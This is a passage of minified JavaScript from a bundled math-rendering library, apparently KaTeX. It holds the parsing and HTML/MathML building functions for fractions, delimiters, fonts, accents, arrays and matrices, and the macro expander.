r=n(18),i=n.n(r),a=n(3),o=n(0),s=n(1),l=n(12),u=n(4),c=n(2);Object(a.b)({type:"operatorname",names:["\\operatorname"],props:{numArgs:1},handler:function(e,t){var n=t[0];return{type:"operatorname",value:Object(a.c)(n)}},htmlBuilder:function(e,t){var n=[];if(e.value.value.length>0){var r="",a="",s=!0,c=!1,f=void 0;try{for(var h,d=i()(e.value.value);!(s=(h=d.next()).done);s=!0){var p=h.value;-1!=="*-/:".indexOf(p.value)&&(p.type="textord")}}catch(k){c=!0,f=k}finally{try{!s&&d.return&&d.return()}finally{if(c)throw f}}var m=u.a(e.value.value,t.withFontFamily("mathrm"),!0),v=!0,g=!1,y=void 0;try{for(var b,x=i()(m);!(v=(b=x.next()).done);v=!0){var w=b.value;w instanceof l.a.symbolNode?(r=(r=(r=w.value).replace(/\u2212/,"-")).replace(/\u2217/,"*"),a=/[\u0391-\u03D7]/.test(r)?"math":"text",n.push(o.a.mathsym(r,a))):n.push(w)}}catch(k){g=!0,y=k}finally{try{!v&&x.return&&x.return()}finally{if(g)throw y}}}return o.a.makeSpan(["mop"],n,t)},mathmlBuilder:function(e,t){var n=[];if(e.value.value.length>0){var r=c.a(e.value.value,t.withFontFamily("mathrm")).map((function(e){return e.toText()})).join("");r=(r=r.replace(/\u2212/g,"-")).replace(/\u2217/g,"*"),n=[new s.a.TextNode(r)]}var i=new s.a.MathNode("mi",n);i.setAttribute("mathvariant","normal");var a=new s.a.MathNode("mo",[c.e("\u2061","text")]);return new l.a.documentFragment([i,a])}})},function(e,t,n){"use strict";var r=n(3),i=n(0),a=n(44),o=n(1),s=n(9),l=n(4),u=n(2);Object(r.b)({type:"genfrac",names:["\\dfrac","\\frac","\\tfrac","\\dbinom","\\binom","\\tbinom","\\\\atopfrac"],props:{numArgs:2,greediness:2},handler:function(e,t){var n=t[0],r=t[1],i=void 0,a=null,o=null,s="auto";switch(e.funcName){case"\\dfrac":case"\\frac":case"\\tfrac":i=!0;break;case"\\\\atopfrac":i=!1;break;case"\\dbinom":case"\\binom":case"\\tbinom":i=!1,a="(",o=")";break;default:throw new Error("Unrecognized genfrac command")}switch(e.funcName){case"\\dfrac":case"\\dbinom":s="display";break;case"\\tfrac":case"\\tbinom":s="text"}return{type:"genfrac",numer:n,denom:r,hasBarLine:i,leftDelim:a,rightDelim:o,size:s}},htmlBuilder:function(e,t){var n=t.style;"display"===e.value.size?n=s.a.DISPLAY:"text"===e.value.size&&(n=s.a.TEXT);var r=n.fracNum(),o=n.fracDen(),u=void 0;u=t.havingStyle(r);var c=l.b(e.value.numer,u,t);u=t.havingStyle(o);var f=l.b(e.value.denom,u,t),h=void 0,d=void 0,p=void 0;e.value.hasBarLine?(d=(h=i.a.makeLineSpan("frac-line",t)).height,p=h.height):(h=null,d=0,p=t.fontMetrics().defaultRuleThickness);var m=void 0,v=void 0,g=void 0;n.size===s.a.DISPLAY.size?(m=t.fontMetrics().num1,v=d>0?3*p:7*p,g=t.fontMetrics().denom1):(d>0?(m=t.fontMetrics().num2,v=p):(m=t.fontMetrics().num3,v=3*p),g=t.fontMetrics().denom2);var y=void 0;if(h){var b=t.fontMetrics().axisHeight;m-c.depth-(b+.5*d)<v&&(m+=v-(m-c.depth-(b+.5*d))),b-.5*d-(f.height-g)<v&&(g+=v-(b-.5*d-(f.height-g)));var x=-(b-.5*d);y=i.a.makeVList({positionType:"individualShift",children:[{type:"elem",elem:f,shift:g},{type:"elem",elem:h,shift:x+2*d},{type:"elem",elem:c,shift:-m}]},t)}else{var w=m-c.depth-(f.height-g);w<v&&(m+=.5*(v-w),g+=.5*(v-w)),y=i.a.makeVList({positionType:"individualShift",children:[{type:"elem",elem:f,shift:g},{type:"elem",elem:c,shift:-m}]},t)}u=t.havingStyle(n),y.height*=u.sizeMultiplier/t.sizeMultiplier,y.depth*=u.sizeMultiplier/t.sizeMultiplier;var k=void 0;k=n.size===s.a.DISPLAY.size?t.fontMetrics().delim1:t.fontMetrics().delim2;var _=void 0,M=void 0;return _=null==e.value.leftDelim?l.e(t,["mopen"]):a.a.customSizedDelim(e.value.leftDelim,k,!0,t.havingStyle(n),e.mode,["mopen"]),M=null==e.value.rightDelim?l.e(t,["mclose"]):a.a.customSizedDelim(e.value.rightDelim,k,!0,t.havingStyle(n),e.mode,["mclose"]),i.a.makeSpan(["mord"].concat(u.sizingClasses(t)),[_,i.a.makeSpan(["mfrac"],[y]),M],t)},mathmlBuilder:function(e,t){var n=new o.a.MathNode("mfrac",[u.b(e.value.numer,t),u.b(e.value.denom,t)]);if(e.value.hasBarLine||n.setAttribute("linethickness","0px"),null!=e.value.leftDelim||null!=e.value.rightDelim){var r=[];if(null!=e.value.leftDelim){var i=new o.a.MathNode("mo",[new o.a.TextNode(e.value.leftDelim)]);i.setAttribute("fence","true"),r.push(i)}if(r.push(n),null!=e.value.rightDelim){var a=new o.a.MathNode("mo",[new o.a.TextNode(e.value.rightDelim)]);a.setAttribute("fence","true"),r.push(a)}return new o.a.MathNode("mrow",r)}return n}})},function(e,t,n){"use strict";var r=n(3),i=n(0),a=n(1),o=n(4),s=n(2);Object(r.b)({type:"lap",names:["\\mathllap","\\mathrlap","\\mathclap"],props:{numArgs:1,allowedInText:!0},handler:function(e,t){var n=t[0];return{type:"lap",alignment:e.funcName.slice(5),body:n}},htmlBuilder:function(e,t){var n=void 0;"clap"===e.value.alignment?(n=i.a.makeSpan([],[o.b(e.value.body,t)]),n=i.a.makeSpan(["inner"],[n],t)):n=i.a.makeSpan(["inner"],[o.b(e.value.body,t)]);var r=i.a.makeSpan(["fix"],[]);return i.a.makeSpan(["mord",e.value.alignment],[n,r],t)},mathmlBuilder:function(e,t){var n=new a.a.MathNode("mpadded",[s.b(e.value.body,t)]);if("rlap"!==e.value.alignment){var r="llap"===e.value.alignment?"-1":"-0.5";n.setAttribute("lspace",r+"width")}return n.setAttribute("width","0px"),n}})},function(e,t,n){"use strict";var r=n(3),i=n(0),a=n(1),o=n(4),s=n(2);Object(r.b)({type:"smash",names:["\\smash"],props:{numArgs:1,numOptionalArgs:1,allowedInText:!0},handler:function(e,t,n){var r=!1,i=!1,a=n[0];if(a)for(var o="",s=0;s<a.value.length;++s)if("t"===(o=a.value[s].value))r=!0;else{if("b"!==o){r=!1,i=!1;break}i=!0}else r=!0,i=!0;return{type:"smash",body:t[0],smashHeight:r,smashDepth:i}},htmlBuilder:function(e,t){var n=i.a.makeSpan(["mord"],[o.b(e.value.body,t)]);if(!e.value.smashHeight&&!e.value.smashDepth)return n;if(e.value.smashHeight&&(n.height=0,n.children))for(var r=0;r<n.children.length;r++)n.children[r].height=0;if(e.value.smashDepth&&(n.depth=0,n.children))for(var a=0;a<n.children.length;a++)n.children[a].depth=0;return i.a.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:n}]},t)},mathmlBuilder:function(e,t){var n=new a.a.MathNode("mpadded",[s.b(e.value.body,t)]);return e.value.smashHeight&&n.setAttribute("height","0px"),e.value.smashDepth&&n.setAttribute("depth","0px"),n}})},function(e,t,n){"use strict";var r=n(0),i=n(3),a=n(44),o=n(1),s=n(6),l=n(5),u=n(4),c=n(2),f={"\\bigl":{mclass:"mopen",size:1},"\\Bigl":{mclass:"mopen",size:2},"\\biggl":{mclass:"mopen",size:3},"\\Biggl":{mclass:"mopen",size:4},"\\bigr":{mclass:"mclose",size:1},"\\Bigr":{mclass:"mclose",size:2},"\\biggr":{mclass:"mclose",size:3},"\\Biggr":{mclass:"mclose",size:4},"\\bigm":{mclass:"mrel",size:1},"\\Bigm":{mclass:"mrel",size:2},"\\biggm":{mclass:"mrel",size:3},"\\Biggm":{mclass:"mrel",size:4},"\\big":{mclass:"mord",size:1},"\\Big":{mclass:"mord",size:2},"\\bigg":{mclass:"mord",size:3},"\\Bigg":{mclass:"mord",size:4}},h=["(",")","[","\\lbrack","]","\\rbrack","\\{","\\lbrace","\\}","\\rbrace","\\lfloor","\\rfloor","\\lceil","\\rceil","<",">","\\langle","\u27e8","\\rangle","\u27e9","\\lt","\\gt","\\lvert","\\rvert","\\lVert","\\rVert","\\lgroup","\\rgroup","\\lmoustache","\\rmoustache","/","\\backslash","|","\\vert","\\|","\\Vert","\\uparrow","\\Uparrow","\\downarrow","\\Downarrow","\\updownarrow","\\Updownarrow","."];function d(e,t){if(l.a.contains(h,e.value))return e;throw new s.a("Invalid delimiter: '"+e.value+"' after '"+t.funcName+"'",e)}Object(i.b)({type:"delimsizing",names:["\\bigl","\\Bigl","\\biggl","\\Biggl","\\bigr","\\Bigr","\\biggr","\\Biggr","\\bigm","\\Bigm","\\biggm","\\Biggm","\\big","\\Big","\\bigg","\\Bigg"],props:{numArgs:1},handler:function(e,t){var n=d(t[0],e);return{type:"delimsizing",size:f[e.funcName].size,mclass:f[e.funcName].mclass,value:n.value}},htmlBuilder:function(e,t){var n=e.value.value;return"."===n?r.a.makeSpan([e.value.mclass]):a.a.sizedDelim(n,e.value.size,t,e.mode,[e.value.mclass])},mathmlBuilder:function(e){var t=[];"."!==e.value.value&&t.push(c.e(e.value.value,e.mode));var n=new o.a.MathNode("mo",t);return"mopen"===e.value.mclass||"mclose"===e.value.mclass?n.setAttribute("fence","true"):n.setAttribute("fence","false"),n}}),Object(i.b)({type:"leftright",names:["\\left","\\right"],props:{numArgs:1},handler:function(e,t){var n=d(t[0],e);if("\\left"===e.funcName){var r=e.parser;++r.leftrightDepth;var i=r.parseExpression(!1);--r.leftrightDepth,r.expect("\\right",!1);var a=r.parseFunction();if(!a)throw new s.a("failed to parse function after \\right");return{type:"leftright",body:i,left:n.value,right:a.value.value}}return{type:"leftright",value:n.value}},htmlBuilder:function(e,t){for(var n=u.a(e.value.body,t,!0,[null,"mclose"]),i=0,o=0,s=!1,l=0;l<n.length;l++)n[l].isMiddle?s=!0:(i=Math.max(n[l].height,i),o=Math.max(n[l].depth,o));i*=t.sizeMultiplier,o*=t.sizeMultiplier;var c=void 0;if(c="."===e.value.left?u.e(t,["mopen"]):a.a.leftRightDelim(e.value.left,i,o,t,e.mode,["mopen"]),n.unshift(c),s)for(var f=1;f<n.length;f++){var h=n[f];h.isMiddle&&(n[f]=a.a.leftRightDelim(h.isMiddle.value,i,o,h.isMiddle.options,e.mode,[]))}var d=void 0;return d="."===e.value.right?u.e(t,["mclose"]):a.a.leftRightDelim(e.value.right,i,o,t,e.mode,["mclose"]),n.push(d),r.a.makeSpan(["minner"],n,t)},mathmlBuilder:function(e,t){var n=c.a(e.value.body,t);if("."!==e.value.left){var r=new o.a.MathNode("mo",[c.e(e.value.left,e.mode)]);r.setAttribute("fence","true"),n.unshift(r)}if("."!==e.value.right){var i=new o.a.MathNode("mo",[c.e(e.value.right,e.mode)]);i.setAttribute("fence","true"),n.push(i)}return new o.a.MathNode("mrow",n)}}),Object(i.b)({type:"middle",names:["\\middle"],props:{numArgs:1},handler:function(e,t){var n=d(t[0],e);if(!e.parser.leftrightDepth)throw new s.a("\\middle without preceding \\left",n);return{type:"middle",value:n.value}},htmlBuilder:function(e,t){var n=void 0;return"."===e.value.value?n=u.e(t,[]):(n=a.a.sizedDelim(e.value.value,1,t,e.mode,[])).isMiddle={value:e.value.value,options:t},n},mathmlBuilder:function(e,t){var n=new o.a.MathNode("mo",[c.e(e.value.middle,e.mode)]);return n.setAttribute("fence","true"),n}})},function(e,t,n){"use strict";var r=n(3),i=n(1),a=n(9),o=n(60),s=n(2),l={display:a.a.DISPLAY,text:a.a.TEXT,script:a.a.SCRIPT,scriptscript:a.a.SCRIPTSCRIPT};Object(r.b)({type:"styling",names:["\\displaystyle","\\textstyle","\\scriptstyle","\\scriptscriptstyle"],props:{numArgs:0,allowedInText:!0},handler:function(e,t){var n=e.breakOnTokenText,r=e.funcName,i=e.parser;i.consumeSpaces();var a=i.parseExpression(!0,n);return{type:"styling",style:r.slice(1,r.length-5),value:a}},htmlBuilder:function(e,t){var n=l[e.value.style],r=t.havingStyle(n);return Object(o.a)(e.value.value,r,t)},mathmlBuilder:function(e,t){var n={display:a.a.DISPLAY,text:a.a.TEXT,script:a.a.SCRIPT,scriptscript:a.a.SCRIPTSCRIPT}[e.value.style],r=t.havingStyle(n),o=s.a(e.value.value,r),l=new i.a.MathNode("mstyle",o),u={display:["0","true"],text:["0","false"],script:["1","false"],scriptscript:["2","false"]}[e.value.style];return l.setAttribute("scriptlevel",u[0]),l.setAttribute("displaystyle",u[1]),l}})},function(e,t,n){"use strict";var r=n(134),i=n.n(r),a=n(3),o=n(14),s=n(4),l=n(2),u=function(e,t){var n=e.value.font;return s.b(e.value.body,t.withFontFamily(n))},c=function(e,t){var n=e.value.font;return l.b(e.value.body,t.withFontFamily(n))},f={"\\Bbb":"\\mathbb","\\bold":"\\mathbf","\\frak":"\\mathfrak","\\bm":"\\boldsymbol"};Object(a.b)({type:"font",names:["\\mathrm","\\mathit","\\mathbf","\\boldsymbol","\\mathbb","\\mathcal","\\mathfrak","\\mathscr","\\mathsf","\\mathtt","\\Bbb","\\bold","\\frak","\\bm"],props:{numArgs:1,greediness:2},handler:function(e,t){var n=t[0],r=e.funcName;return r in f&&(r=f[r]),{type:"font",font:r.slice(1),body:n}},htmlBuilder:u,mathmlBuilder:c});var h={"\\rm":"mathrm","\\sf":"mathsf","\\tt":"mathtt","\\bf":"mathbf","\\it":"mathit"};Object(a.b)({type:"font",names:i()(h),props:{numArgs:0,allowedInText:!0},handler:function(e,t){var n=e.parser,r=e.funcName,i=e.breakOnTokenText;n.consumeSpaces();var a=n.parseExpression(!0,i);return{type:"font",font:h[r],body:new o.a("ordgroup",a,n.mode)}},htmlBuilder:u,mathmlBuilder:c})},function(e,t,n){e.exports={default:n(135),__esModule:!0}},function(e,t,n){n(136),e.exports=n(8).Object.keys},function(e,t,n){var r=n(29),i=n(39);n(46)("keys",(function(){return function(e){return i(r(e))}}))},function(e,t,n){"use strict";var r=n(3),i=n(0),a=n(1),o=n(5),s=n(13),l=n(4),u=n(2),c=function(e,t){var n=e.value.base,r=void 0;if("supsub"===e.type){var a=e;n=(e=a.value.base).value.base,a.value.base=n,r=l.b(a,t)}var u=l.b(n,t.havingCrampedStyle()),c=0;if(e.value.isShifty&&o.a.isCharacterBox(n)){var f=o.a.getBaseElem(n);c=l.b(f,t.havingCrampedStyle()).skew}var h=Math.min(u.height,t.fontMetrics().xHeight),d=void 0;if(e.value.isStretchy)d=s.a.svgSpan(e,t),d=i.a.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:u},{type:"elem",elem:d,wrapperClasses:["svg-align"],wrapperStyle:c>0?{width:"calc(100% - "+2*c+"em)",marginLeft:2*c+"em"}:void 0}]},t);else{var p=void 0,m=void 0;"\\vec"===e.value.label?(p=i.a.staticSvg("vec",t),m=i.a.svgData.vec[1]):((p=i.a.makeSymbol(e.value.label,"Main-Regular",e.mode,t)).italic=0,m=p.width);var v=-m/2;v+=c,(d=i.a.makeSpan(["accent-body"],[p])).style.left=v+"em",d=i.a.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:u},{type:"kern",size:-h},{type:"elem",elem:d}]},t)}var g=i.a.makeSpan(["mord","accent"],[d],t);return r?(r.children[0]=g,r.height=Math.max(g.height,r.height),r.classes[0]="mord",r):g},f=function(e,t){var n=void 0;n=e.value.isStretchy?s.a.mathMLnode(e.value.label):new a.a.MathNode("mo",[u.e(e.value.label,e.mode)]);var r=new a.a.MathNode("mover",[u.b(e.value.base,t),n]);return r.setAttribute("accent","true"),r},h=new RegExp(["\\acute","\\grave","\\ddot","\\tilde","\\bar","\\breve","\\check","\\hat","\\vec","\\dot","\\mathring"].map((function(e){return"\\"+e})).join("|"));Object(r.b)({type:"accent",names:["\\acute","\\grave","\\ddot","\\tilde","\\bar","\\breve","\\check","\\hat","\\vec","\\dot","\\mathring","\\widehat","\\widetilde","\\overrightarrow","\\overleftarrow","\\Overrightarrow","\\overleftrightarrow","\\overgroup","\\overlinesegment","\\overleftharpoon","\\overrightharpoon"],props:{numArgs:1},handler:function(e,t){var n=t[0],r=!h.test(e.funcName),i=!r||"\\widehat"===e.funcName||"\\widetilde"===e.funcName;return{type:"accent",label:e.funcName,isStretchy:r,isShifty:i,base:n}},htmlBuilder:c,mathmlBuilder:f}),Object(r.b)({type:"accent",names:["\\'","\\`","\\^","\\~","\\=","\\u","\\.",'\\"',"\\r","\\H","\\v"],props:{numArgs:1,allowedInText:!0,allowedInMath:!1},handler:function(e,t){var n=t[0];return{type:"accent",label:e.funcName,isStretchy:!1,isShifty:!0,base:n}},htmlBuilder:c,mathmlBuilder:f})},function(e,t,n){"use strict";var r=n(3),i=n(0),a=n(1),o=n(13),s=n(4),l=n(2);Object(r.b)({type:"accentUnder",names:["\\underleftarrow","\\underrightarrow","\\underleftrightarrow","\\undergroup","\\underlinesegment","\\utilde"],props:{numArgs:1},handler:function(e,t){var n=t[0];return{type:"accentUnder",label:e.funcName,base:n}},htmlBuilder:function(e,t){var n=s.b(e.value.base,t),r=o.a.svgSpan(e,t),a="\\utilde"===e.value.label?.12:0,l=i.a.makeVList({positionType:"bottom",positionData:r.height+a,children:[{type:"elem",elem:r,wrapperClasses:["svg-align"]},{type:"kern",size:a},{type:"elem",elem:n}]},t);return i.a.makeSpan(["mord","accentunder"],[l],t)},mathmlBuilder:function(e,t){var n=o.a.mathMLnode(e.value.label),r=new a.a.MathNode("munder",[l.b(e.value.body,t),n]);return r.setAttribute("accentunder","true"),r}})},function(e,t,n){"use strict";var r=n(3),i=n(0),a=n(1),o=n(6);Object(r.b)({type:"verb",names:["\\verb"],props:{numArgs:0,allowedInText:!0},handler:function(e,t,n){throw new o.a("\\verb ended by end of line instead of matching delimiter")},htmlBuilder:function(e,t){for(var n=i.a.makeVerb(e,t),r=[],a=t.havingStyle(t.style.text()),o=0;o<n.length;o++)if("\xa0"===n[o]){var s=i.a.makeSpan(["mord","rule"],[],a);s.style.marginLeft="0.525em",r.push(s)}else r.push(i.a.makeSymbol(n[o],"Typewriter-Regular",e.mode,a,["mathtt"]));return i.a.tryCombineChars(r),i.a.makeSpan(["mord","text"].concat(a.sizingClasses(t)),r,a)},mathmlBuilder:function(e,t){var n=new a.a.TextNode(i.a.makeVerb(e,t)),r=new a.a.MathNode("mtext",[n]);return r.setAttribute("mathvariant",i.a.fontMap.mathtt.variant),r}})},function(e,t,n){"use strict";var r=n(3),i=n(0),a=n(1),o=n(4),s=n(2);Object(r.b)({type:"href",names:["\\href"],props:{numArgs:2,argTypes:["url","original"]},handler:function(e,t){var n=t[1];return{type:"href",href:t[0].value,body:Object(r.c)(n)}},htmlBuilder:function(e,t){var n=o.a(e.value.body,t,!1),r=e.value.href;return new i.a.makeAnchor(r,[],n,t)},mathmlBuilder:function(e,t){var n=s.a(e.value.body,t),r=new a.a.MathNode("mrow",n);return r.setAttribute("href",e.value.href),r}})},function(e,t,n){"use strict";var r=n(3),i=n(0),a=n(1),o=n(9),s=n(4),l=n(2),u=function(e,t){var n=t.style;return n.size===o.a.DISPLAY.size?e.value.display:n.size===o.a.TEXT.size?e.value.text:n.size===o.a.SCRIPT.size?e.value.script:n.size===o.a.SCRIPTSCRIPT.size?e.value.scriptscript:e.value.text};Object(r.b)({type:"mathchoice",names:["\\mathchoice"],props:{numArgs:4},handler:function(e,t){return{type:"mathchoice",display:Object(r.c)(t[0]),text:Object(r.c)(t[1]),script:Object(r.c)(t[2]),scriptscript:Object(r.c)(t[3])}},htmlBuilder:function(e,t){var n=u(e,t),r=s.a(n,t,!1);return new i.a.makeFragment(r)},mathmlBuilder:function(e,t){var n=u(e,t),r=l.a(n,t,!1);return new a.a.MathNode("mrow",r)}})},function(e,t,n){"use strict";var r=n(61),i=(n(143),r.a);t.a=i},function(e,t,n){"use strict";var r=n(0),i=n(61),a=n(1),o=n(6),s=n(14),l=n(19),u=n(5),c=n(13),f=n(4),h=n(2);function d(e,t,n){for(var r=[],i=[r],a=[];;){var l=e.parseExpression(!1,void 0);l=new s.a("ordgroup",l,e.mode),n&&(l=new s.a("styling",{style:n,value:[l]},e.mode)),r.push(l);var u=e.nextToken.text;if("&"===u)e.consume();else{if("\\end"===u){var c=i[i.length-1];i.length>1&&1===c.length&&0===c[0].value.value[0].value.length&&i.pop();break}if("\\\\"!==u&&"\\cr"!==u)throw new o.a("Expected & or \\\\ or \\end",e.nextToken);var f=e.parseFunction();if(!f)throw new o.a("Failed to parse function after "+u);a.push(f.value.size),r=[],i.push(r)}}return t.body=i,t.rowGaps=a,new s.a(t.type,t,e.mode)}function p(e){return"d"===e.substr(0,1)?"display":"text"}var m=function(e,t){var n=void 0,i=void 0,a=e.value.body.length,s=0,h=new Array(a),d=1/t.fontMetrics().ptPerEm,p=5*d,m=12*d,v=3*d,g=u.a.deflt(e.value.arraystretch,1)*m,y=.7*g,b=.3*g,x=0;for(n=0;n<e.value.body.length;++n){var w=e.value.body[n],k=y,_=b;s<w.length&&(s=w.length);var M=new Array(w.length);for(i=0;i<w.length;++i){var S=f.b(w[i],t);_<S.depth&&(_=S.depth),k<S.height&&(k=S.height),M[i]=S}var T=0;e.value.rowGaps[n]&&(T=Object(l.a)(e.value.rowGaps[n].value,t))>0&&(_<(T+=b)&&(_=T),T=0),e.value.addJot&&(_+=v),M.height=k,M.depth=_,x+=k,M.pos=x,x+=_+T,h[n]=M}var O=x/2+t.fontMetrics().axisHeight,E=e.value.cols||[],C=[],N=void 0,P=void 0;for(i=0,P=0;i<s||P<E.length;++i,++P){for(var A=E[P]||{},z=!0;"separator"===A.type;){if(z||((N=r.a.makeSpan(["arraycolsep"],[])).style.width=t.fontMetrics().doubleRuleSep+"em",C.push(N)),"|"!==A.separator)throw new o.a("Invalid separator type: "+A.separator);var D=c.a.ruleSpan("vertical-separator",.05,t);D.style.height=x+"em",D.style.verticalAlign=-(x-O)+"em",C.push(D),A=E[++P]||{},z=!1}if(!(i>=s)){var I=void 0;(i>0||e.value.hskipBeforeAndAfter)&&0!==(I=u.a.deflt(A.pregap,p))&&((N=r.a.makeSpan(["arraycolsep"],[])).style.width=I+"em",C.push(N));var R=[];for(n=0;n<a;++n){var j=h[n],F=j[i];if(F){var L=j.pos-O;F.depth=j.depth,F.height=j.height,R.push({type:"elem",elem:F,shift:L})}}R=r.a.makeVList({positionType:"individualShift",children:R},t),R=r.a.makeSpan(["col-align-"+(A.align||"c")],[R]),C.push(R),(i<s-1||e.value.hskipBeforeAndAfter)&&0!==(I=u.a.deflt(A.postgap,p))&&((N=r.a.makeSpan(["arraycolsep"],[])).style.width=I+"em",C.push(N))}}return h=r.a.makeSpan(["mtable"],C),r.a.makeSpan(["mord"],[h],t)},v=function(e,t){return new a.a.MathNode("mtable",e.value.body.map((function(e){return new a.a.MathNode("mtr",e.map((function(e){return new a.a.MathNode("mtd",[h.b(e,t)])})))})))},g=function(e,t){var n={type:"array",cols:[],addJot:!0};n=d(e.parser,n,"display");var r=void 0,i=0,a=new s.a("ordgroup",[],e.mode);if(t[0]&&t[0].value){for(var l="",u=0;u<t[0].value.length;u++)l+=t[0].value[u].value;r=Number(l),i=2*r}var c=!i;n.value.body.forEach((function(e){for(var t=1;t<e.length;t+=2)e[t].value.value[0].value.unshift(a);if(c)i<e.length&&(i=e.length);else{var n=e.length/2;if(r<n)throw new o.a("Too many math in a row: expected "+r+", but got "+n,e)}}));for(var f=0;f<i;++f){var h="r",p=0;f%2===1?h="l":f>0&&c&&(p=1),n.value.cols[f]={type:"align",align:h,pregap:p,postgap:0}}return n};Object(i.b)({type:"array",names:["array","darray"],props:{numArgs:1},handler:function(e,t){var n=t[0],r={type:"array",cols:(n=n.value.map?n.value:[n]).map((function(e){var t=e.value;if(-1!=="lcr".indexOf(t))return{type:"align",align:t};if("|"===t)return{type:"separator",separator:"|"};throw new o.a("Unknown column alignment: "+e.value,e)})),hskipBeforeAndAfter:!0};return r=d(e.parser,r,p(e.envName))},htmlBuilder:m,mathmlBuilder:v}),Object(i.b)({type:"array",names:["matrix","pmatrix","bmatrix","Bmatrix","vmatrix","Vmatrix"],props:{numArgs:0},handler:function(e){var t={matrix:null,pmatrix:["(",")"],bmatrix:["[","]"],Bmatrix:["\\{","\\}"],vmatrix:["|","|"],Vmatrix:["\\Vert","\\Vert"]}[e.envName],n={type:"array",hskipBeforeAndAfter:!1};return n=d(e.parser,n,p(e.envName)),t&&(n=new s.a("leftright",{body:[n],left:t[0],right:t[1]},e.mode)),n},htmlBuilder:m,mathmlBuilder:v}),Object(i.b)({type:"array",names:["cases","dcases"],props:{numArgs:0},handler:function(e){var t={type:"array",arraystretch:1.2,cols:[{type:"align",align:"l",pregap:0,postgap:1},{type:"align",align:"l",pregap:0,postgap:0}]};return t=d(e.parser,t,p(e.envName)),t=new s.a("leftright",{body:[t],left:"\\{",right:"."},e.mode)},htmlBuilder:m,mathmlBuilder:v}),Object(i.b)({type:"array",names:["aligned"],props:{numArgs:0},handler:g,htmlBuilder:m,mathmlBuilder:v}),Object(i.b)({type:"array",names:["gathered"],props:{numArgs:0},handler:function(e){var t={type:"array",cols:[{type:"align",align:"c"}],addJot:!0};return t=d(e.parser,t,"display")},htmlBuilder:m,mathmlBuilder:v}),Object(i.b)({type:"array",names:["alignedat"],props:{numArgs:1},handler:g,htmlBuilder:m,mathmlBuilder:v})},function(e,t,n){"use strict";var r=n(35),i=n.n(r),a=n(7),o=n.n(a),s=n(10),l=n.n(s),u=n(62),c=n(27),f=n(146),h=n(6),d=n(147),p=n.n(d),m=function(){function e(t,n,r){o()(this,e),this.lexer=new u.c(t),this.macros=p()({},f.a,n),this.mode=r,this.stack=[]}return l()(e,[{key:"switchMode",value:function(e){this.mode=e}},{key:"future",value:function(){return 0===this.stack.length&&this.pushToken(this.lexer.lex()),this.stack[this.stack.length-1]}},{key:"popToken",value:function(){return this.future(),this.stack.pop()}},{key:"pushToken",value:function(e){this.stack.push(e)}},{key:"pushTokens",value:function(e){var t;(t=this.stack).push.apply(t,i()(e))}},{key:"consumeSpaces",value:function(){for(;" "===this.future().text;)this.stack.pop()}},{key:"consumeArgs",value:function(e){for(var t=[],n=0;n<e;++n){this.consumeSpaces();var r=this.popToken();if("{"===r.text){for(var i=[],a=1;0!==a;){var o=this.popToken();if(i.push(o),"{"===o.text)++a;else if("}"===o.text)--a;else if("EOF"===o.text)throw new h.a("End of input in macro argument",r)}i.pop(),i.reverse(),t[n]=i}else{if("EOF"===r.text)throw new h.a("End of input expecting macro argument");t[n]=[r]}}return t}},{key:"expandOnce",value:function(){var e=this.popToken(),t=e.text;if("\\"===t.charAt(0)&&u.b.test(t)&&this.consumeSpaces(),!this.macros.hasOwnProperty(t))return this.pushToken(e),e;var n=this._getExpansion(t),r=n.tokens,a=n.numArgs,o=r;if(a)for(var s=this.consumeArgs(a),l=(o=o.slice()).length-1;l>=0;--l){var c=o[l];if("#"===c.text){if(0===l)throw new h.a("Incomplete placeholder at end of macro body",c);if("#"===(c=o[--l]).text)o.splice(l+1,1);else{if(!/^[1-9]$/.test(c.text))throw new h.a("Not a valid argument number",c);var f;(f=o).splice.apply(f,[l,2].concat(i()(s[+c.text-1])))}}}return this.pushTokens(o),o}},{key:"expandAfterFuture",value:function(){return this.expandOnce(),this.future()}},{key:"expandNextToken",value:function(){for(;;){var e=this.expandOnce();if(e instanceof c.a){if("\\relax"!==e.text)return this.stack.pop();this.stack.pop()}}throw new Error}},{key:"_getExpansion",value:function(e){var t=this.macros[e],n="function"===typeof t?t(this):t;if("string"===typeof n){var r=0;if(-1!==n.indexOf("#"))for(var i=n.replace(/##/g,"");-1!==i.indexOf("#"+(r+1));)++r;for(var a=new u.c(n),o=[],s=a.lex();"EOF"!==s.text;)o.push(s),s=a.lex();o.reverse();var l={tokens:o,numArgs:r};return"function"!==typeof t&&(this.macros[e]=l),l}return n}}]),e}();t.a=m},function(e,t){e.exports=function(e,t,n){if(e.global||e.sticky)throw new Error("matchAt(...): Only non-global regexes are supported");var r=function(e){if(!e.__matchAtRelocatable){var t=e.source+"|()",n="g"+(e.ignoreCase?"i":"")+(e.multiline?"m":"")+(e.unicode?"u":"");e.__matchAtRelocatable=new RegExp(t,n)}return e.__matchAtRelocatable}(e);r.lastIndex=n;var i=r.exec(t);return null==i[i.length-1]?(i.length=i.length-1,i):null}},function(e,t,n){"use strict";var r=n(59),i=n(28),a=n(5),o=(n(27),{});function s(e,t){o[e]=t}t.a=o,s("\\@firstoftwo",(function(e){return{tokens:e.consumeArgs(2)[0],numArgs:0}})),s("\\@secondoftwo",(function(e){return{tokens:e.consumeArgs(2)[1],numArgs:0}})),s("\\@ifnextchar",(function(e){var t=e.consumeArgs(3),n=e.future();return 1===t[0].length&&t[0][0].text===n.text?{tokens:t[1],numArgs:0}:{tokens:t[2],numArgs:0}})),s("\\@ifstar","\\@ifnextchar *{\\@firstoftwo{#1}}"),s("\\TextOrMath",(function(e){var t=e.consumeArgs(2);return"text"===e.mode?{tokens:t[0],numArgs:0}:{tokens:t[1],numArgs:0}})),s("\\bgroup","{"),s("\\egroup","}"),s("\\begingroup","{"),s("\\endgroup","}"),s("\\lq","`"),s("\\rq","'"),s("\\lbrack","["),s("\\rbrack","]"),s("\\aa","\\r a"),s("\\AA","\\r 